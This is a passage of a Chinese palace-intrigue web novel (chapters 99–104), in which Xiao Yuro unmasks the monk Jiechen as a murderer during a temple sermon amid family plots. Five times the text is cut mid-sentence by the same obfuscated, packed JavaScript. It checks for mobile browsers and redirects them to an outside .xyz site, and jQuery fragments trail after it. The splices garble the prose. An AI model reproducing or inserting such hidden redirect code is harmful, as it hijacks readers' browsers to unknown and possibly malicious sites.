“我查过了,一点线索都没有。”萧语柔意味深长地说,“那可是皇家猎场,周围都是玉麟卫...”她的话没说完,但岑燕燕已经明白了她的意思。 岑燕燕瞪大眼睛:“你是说...” “嘘,”萧语柔打断她,“这事只告诉赵王殿下,其他的莫要多想,更不能外传。”她的眼中闪过一丝警惕。 正说着,梁暮雪款款走来,她今日一身淡青色长裙,衬得人越发清丽脱俗。 “暮雪,去桃林吗?”有人在远处喊道,声音清脆悦耳。 梁暮雪转身看去,嘴角挂着浅浅的笑意。 第九十九章 寺庙 寺庙里人声鼎沸,香火缭绕。檀香袅袅升起,与着庙宇里的经声交织在一起,显得格外庄重肃穆。 萧语柔站在人群中,目光平静地看着梁暮雪。她一袭素雅长裙,面容清冷,仿佛与周遭的喧嚣格格不入。 周围的人群开始窃窃私语,有人认出了她的身份。 “那不是相府大小姐吗?” “听说她最近**了......” “嘘,别说了,当心惹祸上身。” 萧语柔却置若罔闻。她的注意力全都在梁暮雪身上了。 赵明远站在不远处的廊柱旁,目光在岑燕燕身上一扫而过,很快便移开了。那份刻意的淡漠让岑燕燕气得咬紧了下唇,转过身去不看他。 萧语柔看在眼里,不禁暗自思忖。这对欢喜冤家,还真是处处不消停。 “暮雪,你先过去吧。”萧语柔轻声开口,语气温和却不容置疑。 梁暮雪面露歉意,手指不安地绞在一起:“语柔......”她没想到会在这里遇到谷霜。作为从小一起长大的手帕交,她和谷霜的情谊不浅。只是凌家去了边关十几年,这几年才回龙都。如今谷霜对萧语柔的敌意愈发明显,让她左右为难。 “走吧。”萧语柔轻声说道,目光扫过不远处正在上香的谷霜。 庙里实在太过喧闹,信众们络绎不绝,萧语柔索性带着众人去了附近的别院。刚走出庙门,萧菱不知从哪里冒了出来,非要跟着。她穿着艳丽的衣裙,浓妆艳抹,与庙宇的庄重气氛格格不入。 “二姐姐,带我一起去嘛!”萧菱撒娇道,声音尖细得让人牙酸。 岑燕燕冷笑一声:“这是什么地方,也是你能来的?” 萧菱脸色一僵,但还是忍了下来,继续跟在队伍后面。萧语柔眯了眯眼,倒要看看她葫芦里卖的什么药。 别院清幽雅致,几株高大的樟树投下浓荫,树下摆着几张精致的藤椅。院中种着各色花草,此时正值花期,芬芳四溢。仆人们很快端上了几道清淡的素斋,还有新沏的花茶。 “真是奢侈。”萧菱阴阳怪气道,目光在院子里扫视,“买下这么大的院子,养这么多闲人。” 院里的仆人们顿时面露窘态,纷纷跪下请罪。有几个年纪小的丫鬟已经红了眼眶。 萧语柔将筷子重重放在桌上,茶盏微微晃动:“把她扔出去。” “你敢!”萧菱尖叫着,面容扭曲,“我是你妹妹,你竟然让男人碰我!这要是传出去,我还怎么嫁人?” 话音未落,人已经被萧瑾丢到了院外。萧菱狼狈地爬起来,拍打着衣服上的灰尘,脸上青一阵白一阵。她正要拍门理论,忽见两道身影从石阶上走来。 一个温润如玉,举手投足间尽显世家公子的风范;一个少年英气,眉宇间带着几分桀骜不驯。 “钱忠!”萧菱欣喜若狂地迎了上去,眼中闪烁着痴迷的光芒。 钱忠的随从立刻上前将她拦住,不让她靠近半分。 萧菱强忍着怒气,挤出一丝笑容:“钱忠,你还记得我吗?咱俩上回在将军府碰着了。那天我穿着......” 钱忠充耳不闻,仿佛她是空气一般,径直进了院子。 萧菱气得直跺脚,指甲深深掐进掌心:“一定是萧语柔在背后说我坏话!” 正要离开,却见桂婉柔站在不远处的树荫下。她一袭淡青色长裙,手持团扇,笑意盈盈地看着这一幕。 “妹妹这般美貌,难道甘心让人抢走心上人?”桂婉柔轻声说道,语气中带着几分诱导。 萧菱眼前一亮:“四姐的意思是......” “五妹妹太不懂得顾念亲情了,该给她点教训。”桂婉柔摇着团扇,眼中闪过一丝算计。 萧菱露出了贪婪的笑容:“好。” 院内,萧瑾在萧语柔耳边低语几句。萧语柔微微一笑,鱼儿果然上钩了。她端起茶盏,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481855|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着茶水中的花瓣缓缓沉浮。 “这个好吃!”岑燕燕大快朵颐,丝毫不顾及形象。她面前的点心已经少了大半,还在继续往嘴里塞。 钱忠嗤笑一声:“郡主这么能吃,赵明远怎么可能要你?人家可是要娶妻,不是要养猪。” “找死!”岑燕燕一个箭步扑上去掐住他的脖子,“你再说一遍试试!” 萧语柔见怪不怪,给钱涛倒了杯茶:“大公子身体可好些了?” 钱涛点头,目光沉沉:“听说你最近**了?” 他眼底闪过一丝寒意,手指无意识地摩挲着茶盏边缘。 “还在查。”萧语柔淡然道,仿佛说的不是自己的事。 “你不害怕?” “害怕。”萧语柔浅笑,“可怕也无用,我不会让仇人称心如意。”她的声音很轻,却带着一股子韧劲。 不多时,下人来请萧语柔去看炖汤。她起身离开,来到后门,梨竹已在等候。 “小姐,都查清萧了。”梨竹递上几张纸,“那天的刺客是从南市门进来的,身上带着江南漕运的腰牌。” 萧语柔看完后,眼中寒意渐起。她将纸张揉碎,扔进一旁的火盆。火舌舔舐着纸张,很快将其化为灰烬。 准备回前院时,她看到谷霜站在山道旁。树影婆娑中,一顶软轿停在那里,轿帘微动,似有人在里面。 “有事?”清冽的声音响起。 谷霜望着软轿,眼中闪过复杂的情绪:“三皇子当初为何要救我?” 萧语柔没有回答,只是静静地看着她。风吹过,带来一阵檀香味,似是从不远处的庙宇飘来。 谷霜咬了咬唇:“你知道的,我不会放弃。” “我知道。”萧语柔转身离开,“所以,你也该知道我的态度。” 回到前院,岑燕燕还在和钱忠打闹,赵明远坐在一旁,目光时不时扫过来。梁暮雪低头喝茶,神情有些恍惚。 第一百章 业报 烈日当空,蝉鸣阵阵。空气中弥漫着闷热的气息,连树桂都无精打采地垂着。 谷霜站在小路旁,目光落在不远处的软轿上。她纤细的手指不自觉地绞着衣角,心跳微微加快。夏日的阳光透过树桂在她白皙的脸上投下斑驳的光影,衬得她眼中的情绪更加复杂。 “为什么要救我?”她轻声问,声音里带着几分颤抖。 轿中传来清冷的声音:“你曾于我有恩。” 这话像一把利刃,狠狠刺进谷霜的心口。她的手指微微发颤,指甲深深陷入掌心。 “所以当初我提出解除婚约时,你毫不犹豫就同意了?”谷霜强压下心中的酸涩,声音里带着几分自嘲,“三皇子对我,当真一点男女之情都没有吗?” “没有。” 两个字,轻飘飘地落下,却重若千钧。周遭的蝉鸣似乎都在这一刻停滞。 谷霜咬紧下唇,转身离去。她的背影有些单薄,步伐却坚定。她不愿在此纠缠,更不愿让人看到自己狼狈的模样。 躲在暗处的萧语柔正要离开,身后却传来岑陌带笑的声音:“阿柔,我的回答可还满意?” 萧语柔一僵,没想到自己竟被发现了。她下意识地攥紧了衣袖,心跳陡然加快。 “王爷不是偷偷溜回来了么?为何会在这里遇到凌小姐?”她试图转移话题,声音却不自觉地带上了一丝紧张。 “这是在管我?”岑陌的声音透着几分玩味,似乎能看穿她的心思。 萧语柔还未答话,远处传来钱涛的呼唤:“五妹妹,你咋在这晃悠呢?” 等她回头看时,软轿已经消失不见,仿佛从未出现过。只有地上细碎的阳光依旧静静地洒落。 钱涛走近,笑道:“老夫人让你去听经,快些去吧。”他的目光在萧语柔脸上停留片刻,似乎想说什么,却又咽了回去。 大雄宝殿内,香烟缭绕。檀香的气息在空气中缓缓流淌,带来一丝清凉。 萧语柔找到老夫人身边坐下,目光扫过殿中众人。钱涛兄弟跟着定远公夫人施氏坐在前排,钱忠偷瞄这边一眼,立刻被施氏瞪了回去。他缩了缩脖子,像个做错事的孩子。 桂婉柔坐在不远处,脸色难看。她身边空着好几个位置,无人愿意靠近。曾经的龙都才女,如今却被人避如蛇蝎。她紧紧攥着手帕,指节发白,眼中的怨恨几乎要溢出来。 高僧们陆续入座,智澄方丈温和地看了萧语柔一眼,随即开始讲经。他的声音沉稳悠远,带着几分超脱。 经文的声音在殿中回荡,信众们低头聆听,神情虔诚。檀香袅袅升起,与佛经声交织在一起,营造出庄严肃穆的氛围。 正当众人沉浸在佛法中时,一个名叫戒尘的和尚突然开口:“宫里居然藏着这种杀气四溢的狠角色!” 他的声音尖锐刺耳,打破了殿中的宁静。众人纷纷抬头,面露惊诧。 戒尘不顾智澄劝阻,执意要点出此人:“这货浑身杀气爆表,业报深重,若不及时皈依佛门,必会害人害己!” 众人的目光不约而同地投向宁远伯府众人。有人窃窃私语,有人面露惊恐,更有人露出幸灾乐祸的神色。 戒尘却直指萧语柔:“这位女施主,你想不想削发为僧?否则,绝对会连累身边的人遭殃,让他们家庭分崩离析!” 萧语柔冷冷看着戒尘,手腕上的玉璧微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481856|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发烫。她的目光如刀,直视着戒尘的双眼。 若说业报,那该是穆秋煜的。若说不得善终,那也该是害她之人的下场。 “大师慎言。”她声音清冷,眼中闪过一丝寒意。 殿中气氛骤然紧张。老夫人面色微变,伸手拉住萧语柔的衣袖。钱涛兄弟也坐直了身子,目光警惕地看着戒尘。 戒尘却不依不饶:“女施主,你身上的煞气已经开始影响周围的人了。你看看你身边的人,有几个能善终?” 这话一出,殿中一片哗然。有人开始往后退,生怕被萧语柔的“煞气”影响。 桂婉柔眼中闪过一丝得意,嘴角微微上扬。她暗自庆幸自己提前安排好了这一切。 就在这时,殿外传来一阵脚步声。众人循声望去,只见一个身着灰色僧袍的老僧缓步而入。 “阿弥陀佛。”老僧双手合十,“戒尘师弟,你可知道,妄言因果,也是一种罪过?” 戒尘脸色一变:“师叔...” 老僧摇头道:“佛法讲究慈悲为怀,岂能用来伤人?” 智澄方丈也开口道:“是啊,戒尘,你太过了。” 戒尘还想说什么,却被老僧一个眼神制止。他只得悻悻退下,临走时还不忘看了萧语柔一眼。 萧语柔神色平静,仿佛方才的一切都与她无关。但她的手指却在无人注意时微微颤抖。 老夫人轻轻拍了拍她的手:“阿柔,别放在心上。” 萧语柔点点头,目光却落在桂婉柔身上。后者察觉到她的视线,慌忙低下头。 殿外,暑气渐消,天边飘来几朵白云。蝉鸣依旧,却似乎没有方才那么聒噪了。 第一百零一章 还原真相 萧语柔站在大殿中央,殿内香烟缭绕,佛像庄严。 檀香的气息在空气中弥漫,却掩盖不住她心中的怒火。殿外蝉鸣阵阵,更衬得大殿内气氛凝重。 “戒尘大师。”她开口,声音清冷却字字如刀,“你可还记得十六年前的江陵府?” 戒尘端坐在蒲团上,面色一变,手指微不可察地颤了颤。他很快恢复平静,双手合十:“阿弥陀佛,贫僧不知女施主何出此言。” 萧语柔嘴角勾起一抹冷笑,缓步向前:“不知?那我来提醒你。” 殿内众人屏息凝神,连呼吸都放轻了。 “十六年前,江陵府有一恶贼,名叫林煦。”她的声音在大殿内回荡,“此人手段残忍,**如麻。后来被官兵围剿,却侥幸遇到智昭大师,得以重获新生。” 戒尘面色阴沉,眼底闪过一丝不易察觉的慌乱。他的手指无意识地绞着袈裟,指节泛白。 萧语柔继续道:“可惜啊,这人本性难移。两年后,他残害了一位采药少女,把主仆二人扔进枯井。三年后,又杀一家借宿商户,夺其钱财,掳走其女。如今那女子被囚禁在洛阳,生下的孩子都两岁了。” 此言一出,满堂皆哗然。香炉中的檀香袅袅升起,却驱散不了众人心中的震惊。 “荒谬!”桂婉柔猛地站起身,“萧语柔,你休要血口喷人!” 赵婷也附和道:“戒尘大师德高望重,怎会做出这等恶事?” 萧语柔不为所动,目光依旧锁定在戒尘身上:“既然不信,那不妨看看这个人。” 殿外传来脚步声,一名面容憔悴的妇人缓缓走进,带着个蹒跚学步的小正太。妇人双眼红肿,显然哭过许久。 “罪人枝原,求大师为我惨死的爹娘主持正义!”妇人跪地痛哭,声音沙哑。 戒尘面如死灰,额头渗出细密的汗珠。他强压怒火,佯装慈悲:“别怪这位姑娘,她一介平民,想必是被人威胁。小安,请这位仙子移步后院休息。” “不!”枝原惊恐万分,抱紧怀中孩子,“我不去!戒尘,你这个恶魔!你杀我父母,竟敢对我家娃下毒手!” 小安上前欲强行带走枝原,却被一道身影拦住。 “死秃驴,我姐就是死也不会剃度的!”萧瑾怒目圆睁,一脚踩在小安胸口。 萧语柔轻抚妹妹肩膀,示意她冷静。转身面对众人,目光如电:“诸位,真相已经摆在眼前。戒尘大师口中的煞气之说,不过是为了掩盖自己的罪行。他害怕我查出真相,所以才处心积虑要将我赶出龙都。” 殿内一片寂静,连蜡烛的火苗都似乎停止了跳动。 有人仍不愿相信:“这或许是你们串通好的戏码。” “若有疑虑,大可派人去洛阳一查。”萧语柔不慌不忙,“枝原被囚禁的宅院就在城西,门牌写着"澄月居"。” 戒尘猛地站起身,袈裟翻飞:“胡说八道!我乃佛门弟子,岂会做出这等恶事?” “既然如此,你可敢让人去查?” 戒尘哑口无言,额头青筋暴起。殿内的气氛越发紧张,连檀香都变得呛人起来。 这时,一直沉默的智澄大师开口了:“阿弥陀佛,既然事关重大,不如派人一查。若属实,必遭天谴报应。若为诬告,也好还戒尘清白。” 戒尘见状,知道大势已去。他的眼中闪过一丝疯狂,突然狞笑起来:“既然如此,那就都**吧!” 话音未落,他猛地掏出一把**,朝萧语柔刺去。寒光闪烁,杀意凛然。 萧语柔早有防备,迅速闪身。**擦肩而过,划破她的衣袖,露出一道浅浅的血痕。 众人惊呼,乱作一团。有人尖叫,有人四散奔逃,更有人被吓得瘫软在地。 就在这千钧一发之际,一道身影如闪电般冲出。钱涛一掌劈向戒尘手腕,**应声落地,发出清脆的响声。 戒尘痛呼一声,转身欲逃。却见殿门已被侍卫们团团围住,刀光剑影中再无退路。 他绝望地环顾四周,最后目光落在萧语柔身上:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481857|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...你是怎么知道的?” “我曾去过江陵府。”萧语柔淡然一笑,“那里的百姓至今仍记得林煦的恶行。再加上一些调查,真相便浮出水面。” 戒尘面如死灰,瘫坐在地。他的袈裟沾满尘土,再无往日的庄严。 萧语柔转身对众人说道:“诸位,现在你们明白了吗?所谓的煞气之说,不过是歹人用来蒙蔽世人的把戏。天灾人祸,岂是一个人就能左右的?” 众人恍然大悟,纷纷向萧语柔道歉。桂婉柔羞愧难当,低头不敢看人。赵婷更是面如土色,不知所措。 智澄大师合十道:“阿弥陀佛,善哉善哉。萧施主慧眼如炬,为佛门除去一害,实乃功德无量。” 萧语柔谦逊地回礼:“大师过奖了。我不过是秉持正义,还原真相罢了。” 事情告一段落,戒尘被押下去听候发落。枝原带着孩子,在官府的安排下暂时安置。 殿外,夕阳西下,晚霞如血。萧语柔站在台阶上,望着远处的天际。 钱涛走到她身边:“没想到戒尘竟是这样的人。” 萧语柔轻叹一声:“人心难测。有时候,最可怕的不是明面上的敌人,而是披着善良外衣的恶魔。” “你早就查到这些了?” “是的。”萧语柔点头,“从我第一次听到煞气之说时,就觉得蹊跷。后来去了江陵府,才发现这其中的联系。” 钱涛沉默片刻:“你冒了很大的风险。” “值得。”萧语柔望着远处的晚霞,“总要有人站出来,揭开真相。” 夜幕渐渐降临,寺院的钟声悠悠响起。萧语柔转身离去,背影坚定而从容。 这一天,龙都震动。戒尘的真面目终于揭露,那些被他残害的冤魂得以安息。 而萧语柔,也用自己的智慧和勇气,证明了所谓的煞气之说不过是一场骗局。 寺院的灯火渐次亮起,照亮了夜色中的每一个角落。就像真相终将驱散谎言的阴霾,光明必将战胜黑暗。 第一百零二章 帮凶 萧语柔冷眼扫过众人,语气平和却不容置疑:“各位夫人都是明事理的人,想必不愿被人蒙骗,成为**的帮凶。” 殿内烛火摇曳,映照着众人变幻的神色。她的目光在众人脸上一一掠过,带着几分歉意:“语柔知道这样有些无礼,但事关性命,不得不如此。事后定当亲自登门赔罪。” 香炉中的檀香缓缓升腾,空气中弥漫着一股沉重的气息。这番话说得滴水不漏,让那些本想开口的夫人们都闭上了嘴,只是不时用余光打量着萧语柔。 “你这是在血口喷人!”赵婷突然站起身,裙摆带起一阵风声,“戒尘大师德高望重,怎会做出这等事来?” 萧语柔嘴角微扬,眼中闪过一丝玩味:“赵小姐对一个和尚如此维护,倒是让人意外。莫非...” “你住口!”赵婷慌忙打断,白皙的脸颊泛起红晕,手指不自觉地绞着衣角。 萧语柔轻笑一声,目光转向正缓步走来的戒尘和尚。僧袍飘动间,那张看似慈悲的面容下藏着难以察觉的阴霾。 “大师既然要证据,”她的声音清冷如霜,“洛阳县衙此刻正在搜查那处宅院。就算你做得再干净,也总会留下蛛丝马迹。” 殿内的气氛骤然紧张起来,连檀香的味道都变得凝重。萧语柔继续道:“宅子的买卖、往来的人、邻里的耳目...戒尘大师,这些都是无法抹去的痕迹。” 戒尘面色阴沉,眼中杀意如潮水般涌动。他的手指在袖中微微蜷曲,似乎在压抑着什么。 “智昭大师已死,天地难为鉴。”萧语柔的声音在殿内回荡,“但你当年年少气盛,行事不够谨慎。你在绿林中的**劣迹,官府必有记载。这一点,你如何解释?” 智澄大师长叹一声,目光复杂地看向戒尘:“你可有话说?” 殿外传来急促的脚步声,紫萱匆匆跑进来,额头上还挂着细密的汗珠:“小姐,洛阳县令求见!” 戒尘眼中寒光乍现,身形如离弦之箭般冲出。拳风呼啸,直取萧语柔面门,这一拳若是打实,必定血肉模糊。 “小心!”众人惊呼声中,护卫们纷纷冲进殿内。 戒尘心中暗喜,只要擒住萧语柔,那笔天价酬金就到手了。到时候只消带她出城,有那人相助,他便可高枕无忧。然而他低估了萧瑾的身手,更小看了萧语柔的暗器。 萧瑾挡在萧语柔身前的同时,一枚寒光闪烁的银针已经从萧语柔袖中飞出,准确无误地刺入戒尘穴道。 戒尘只觉手脚发麻,眼前一黑,转瞬间便被萧瑾制服在地。大殿内一片荒乱。 桂成林站在一旁,脸色铁青,连老夫人投来的责备目光都未察觉。手指紧握成拳,指甲深深陷入掌心。 “戒尘是福安寺僧人,”智澄大师沉声开口,“不知县主可否让寺中戒律院先行审问,再移交官府?” 众人这才想起方才说的县令,可左等右等也不见人影。萧语柔眼中闪过狡黠:“官府查案向来耗时,少则三日,多则数月。” 她心中暗笑,若非桂成林最近挪用巨款,她也不会这么快查到戒尘头上。若是提前报官,只怕打草惊蛇。这场戏,她筹谋已久。 殿内的人看着她淡定从容的模样,不禁暗暗心惊。这位澜宁郡主当真是深不可测啊。 戒尘被带走后,桂婉柔脸色苍白地起身欲走,裙摆沾了香灰,显得有些狼狈。就在这时,一只手从后推了她一把,她重重撞在门框上。 “婉柔!”萧菱和萧宁氏连忙扶住她,“快请大夫!” 桂婉柔想要挣脱,却被她们死死按住。她猛然醒悟,这对母女是知道她有孕在身。她冷冷看着萧宁氏母女,若不是谷霜在场,今日只怕难逃一死。 谷霜站在一旁,面容平静得有些可怕:“天色不早,诸位请回吧。” 桂婉柔整理好衣裳,临走时意有所指:“霜表姐,三皇子如此倾心萧语柔,你就不觉得不甘心吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481858|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谷霜手指微颤,眼中闪过一丝痛色:“管好你自己。” 佛会因这场变故提前结束,众人纷纷离去。有人议论纷纷,有人噤若寒蝉,更有人暗自盘算着如何在这场风波中获利。 萧语柔安顿好老夫人,正要去后殿,遇见了梁暮雪和赵婷。梁暮雪一脸关切:“语柔,你没事吧?” “我没事。”萧语柔瞥了眼赵婷,目光中带着警告,“别以为在寺里我就不敢动手。你将成为太子的侧室,我也会嫁给三殿下。” 赵婷捂着曾被踹过的肚子,眼中闪过怨毒,却不甘心地闭上嘴。她知道,今日之事已经让她在众人面前失了颜面。 “澜宁郡主何必咄咄逼人?”谷霜冷声道,眼中带着几分不屑。 “霜儿...”梁暮雪想要劝阻,却被谷霜打断。 谷霜失望地看着她:“暮雪,难道你已经不记得我的话了?” 夜色渐深,寺院里的钟声悠悠响起。萧语柔站在廊下,看着月光下的庭院,心中思绪万千。今日之事,不过是开始。那些暗中的较量,才是真正的杀机四伏。 紫萱端着茶盏走来:“小姐,热茶。” 萧语柔接过茶盏,温热的触感让她稍感安心。她知道,接下来的日子只会更加艰难。但她别无选择,只能在这场权力的漩涡中寻找生机。 殿内的烛火依旧摇曳,投下长长的影子。那些未说出口的心思,那些暗藏的杀机,都在这个夜晚悄然发酵。 桂成林站在院中,看着远处的灯火,眼中闪过阴鸷。他没想到萧语柔会查到这一步,更没想到戒尘会这般不堪一击。 老夫人的贴身婢女悄悄走来:“老夫人说,少爷若是想明白了,就去见她。” 桂成林冷笑一声,转身离去。他的背影在月光下显得格外孤寂。 萧宁氏和萧菱回到住处,对视一眼,都看到了对方眼中的担忧。今日之事,恐怕会牵连甚广。她们必须尽快想办法自保。 第一百零三章 错综复杂 梁暮雪站在原地,心中五味杂陈。微风拂过,带起她鬓角的碎发,也吹皱了她的心湖。 谷霜是她从小一起长大的闺中密友,那些年少时光里,有说不完的悄悄话,分享不尽的欢乐与忧愁。可萧语柔却两次救她于危难之中,那份恩情重若泰山。 更重要的是,萧语柔的为人处世,每每想起那份沉稳与智慧让她由衷钦佩,自叹弗如。 “既然你已选择了立场,那我们从此便是陌路。”谷霜冷冷丢下这句话,转身离去。她的背影透着几分决绝,裙摆在风中猎猎作响。 赵婷站在一旁,眼中闪过一丝轻蔑,撇了撇嘴:“梁暮雪,你可真是个不懂得轻重的人。亏得凌小姐一直把你当知己,你倒好,为了个外人就背叛朋友。” 她的话音未落,就对上了萧语柔那双平静无波的眼睛。那眼神深邃如潭,让她心里一慌,不由自主地后退半步。她悻悻跺了跺脚,转身追着谷霜去了。 梁暮雪眼眶微红,却强忍着没有追上去。她的手指无意识地绞着衣角。。 “何必在意她们的闲言碎语。”她转头安慰萧语柔,声音有些哽咽。 萧语柔神色如常,仿佛方才的一切都与她无关:“我要去见个人,谢姐姐要一起吗?” “是那对可怜的母子?” 萧语柔带着梁暮雪穿过回廊,来到后殿。殿内光线昏暗,只见枝原母子正局促不安地坐在角落。看到萧语柔出现,枝原连忙拉着儿子跪下,额头重重叩在地上:“多谢恩人救命之恩!若非恩人相救,我母子早已...” “起来吧,留你性命不过是想对付戒尘罢了。”萧语柔语气淡淡,却示意紫萱将人扶起。紫萱从袖中取出早已准备好的素斋,摆在桌上。 “先吃点东西吧,看你们饿了许久。”紫萱温声道,将一双干净的筷子递过去。 母子俩确实饿极了,心里有点小尴尬,还是开始用餐。小男孩吃得急切,时不时用袖子擦拭嘴角,眼睛却警惕地打量四周。 梁暮雪注意到枝原手腕上青紫的淤青,还有小男孩身上新旧交错的伤痕。看着孩子狼吞虎咽的模样,还时不时偷偷往袖子里藏食物,她心疼得几乎落泪。 不小心碰到桌子发出响声时,小男孩立刻扔下筷子,跪地抱头:“别打我...求求你们别打我...”他瑟缩着身子,像只受惊的小兽。 这一幕彻底击垮了梁暮雪的心防,她含泪跑了出去,生怕自己忍不住当场痛哭。 “他胆子小...”枝原紧张地解释,手足无措地看着萧语柔,生怕惹恼了这位救命恩人。 “不必解释。”萧语柔看向枝原,目光柔和了几分,“可想好以后的打算了?” 枝原茫然摇头,眼中浮现出一丝恐惧:“亲人早已不知所踪,家产想必也被瓜分干净。那个院子,我宁死也不会回去。” “听说你父母是商人,你也懂些经商之道?” 枝原点头,眼中闪过一丝追忆:“父母想着我将来招赘,怕我被人欺负,从小就带着我学。虽然不敢说精通,但基本的账目往来还是懂得。” “你是否愿意替我效力?” 枝原一愣,看到萧语柔认真的眼神,立刻跪地叩首,声音哽咽:“定当为小姐两肋插刀!此生此世,必当以死相报!” 安排梨竹将人接走后,紫萱看着母子俩远去的背影,感叹道:“小姐果然留下了枝原。她虽经历坎坷,却心性坚韧,实在难得。” “你倒是了解我。”萧语柔微微一笑,眼中闪过一丝深意。 经过一片林子时,她看到了岑陌的软轿,脚步微顿。轿帘微动,似有人影闪过。 谷霜是如何得知岑陌回京的?而岑陌似乎也不在意消息走漏...这其中定有蹊跷。 “小姐?”紫萱见她停下,轻声唤道。 “无事。”萧语柔收回思绪,继续前行。暮色渐深,树影婆娑,将她的身影拉得很长。 她刚走,林妈妈就向岑陌禀报了消息。 此时的岑陌正与谷长风对弈。棋盘上黑白交错,杀机暗藏。 “好长时间没和殿下对弈了,今日一见,受益良多。”谷长风由衷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481859|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感慨,手指轻抚棋子,“殿下棋风如军阵,当真高明。” “将军可想明白了?”岑陌淡淡问道,目光落在棋盘一角。 谷长风苦笑,眼中闪过一丝无奈:“便当凌家报答殿下大恩了。” 岑陌听出他此后要与三皇子府划清界限的意思,却不动声色:“好。”一个字,却重若千钧。 待岑陌离开,谷长风望着棋盘长叹。暮色中,那些黑白棋子仿佛化作了朝堂上的各方势力,错综复杂。 “殿下要去见五小姐吗?”林妈妈试探着说,“她似乎介意您与凌小姐见面。奴婢看话本多了,最怕就是两情相悦之人猜来猜去...” 岑陌眸光一冷,周身气温仿佛骤降。 林妈妈立即噤声,暗自懊恼自己多嘴。让高贵的三皇子去解释,确实是痴心妄想。 此时智澄大师来请,岑陌临行前淡淡道:“告诉她,我会去寻她。” 林妈妈刚要去找萧语柔,却得知她已因苏妈妈出事随老夫人下山了。 回程时两辆马车出了问题,车轮松动,轴承磨损。桂成林安排老夫人先行,留下一辆给桂婉柔和萧语柔。 萧菱和萧宁氏却在一旁窃窃私语,面露疑虑:“不对啊,桂婉柔不是说要让萧语柔坐那辆坏车摔死吗?” “该不会她要对付我们?”萧宁氏眼中闪过一丝惊恐。 母女俩不放心,硬是挤上了萧语柔的马车。车厢本就不大,一下挤进四个人,显得格外拥挤。 萧柔皱眉,看着这突如其来的变故,只好作罢。她暗自思忖,这母女俩怎么突然改变主意? 桂婉柔虽然恼火计划被破坏,却也只能强忍着不悦。她的手指无意识地绞着手帕,眼中闪过一丝阴霾。 唯有桂成林站在原地,看着马车缓缓驶离,眼中闪过一丝深意。暮色渐深,将他的身影拉得很长,也将他的表情掩藏在阴影之中。 马车在山路上缓缓前行,车轮碾过石子发出细微的声响。车厢里的气氛凝重,谁都没有说话,只有马蹄声打破了这份沉寂。 “ 第一百零四章 预谋 “闭嘴!”桂成林冷冷瞥了一眼竖着耳朵的萧泰,语气里满是不屑。他的目光如刀般锋利,带着几分贵族特有的倨傲。 萧泰下意识地缩了缩脖子,脸上的谄媚笑容僵住了。他不动声色地后退半步,眼底闪过一丝不甘。这些年来,他虽说是个商贾,但也算得上小有资产,何曾受过这般羞辱? 桂成林领着穆氏大步走向不远处的茶楼,锦缎长袍在微风中轻轻摆动。他的背影挺拔,举手投足间尽是世家公子的矜贵气度。 桂琳和桂玥面面相觑,眼中闪过一丝惊讶。街边小贩的吆喝声不绝于耳,却衬得两人之间的沉默格外明显。桂玥刚要开口询问,却见桂琳紧抿着唇默默跟上,连忙会意地闭上嘴。 春日的阳光洒在青石板路上,映出一片斑驳的光影。萧泰站在原地,目送着桂家一行人远去的背影,眼底浮现出几分阴郁。最近这段时间,他总是心神不宁。 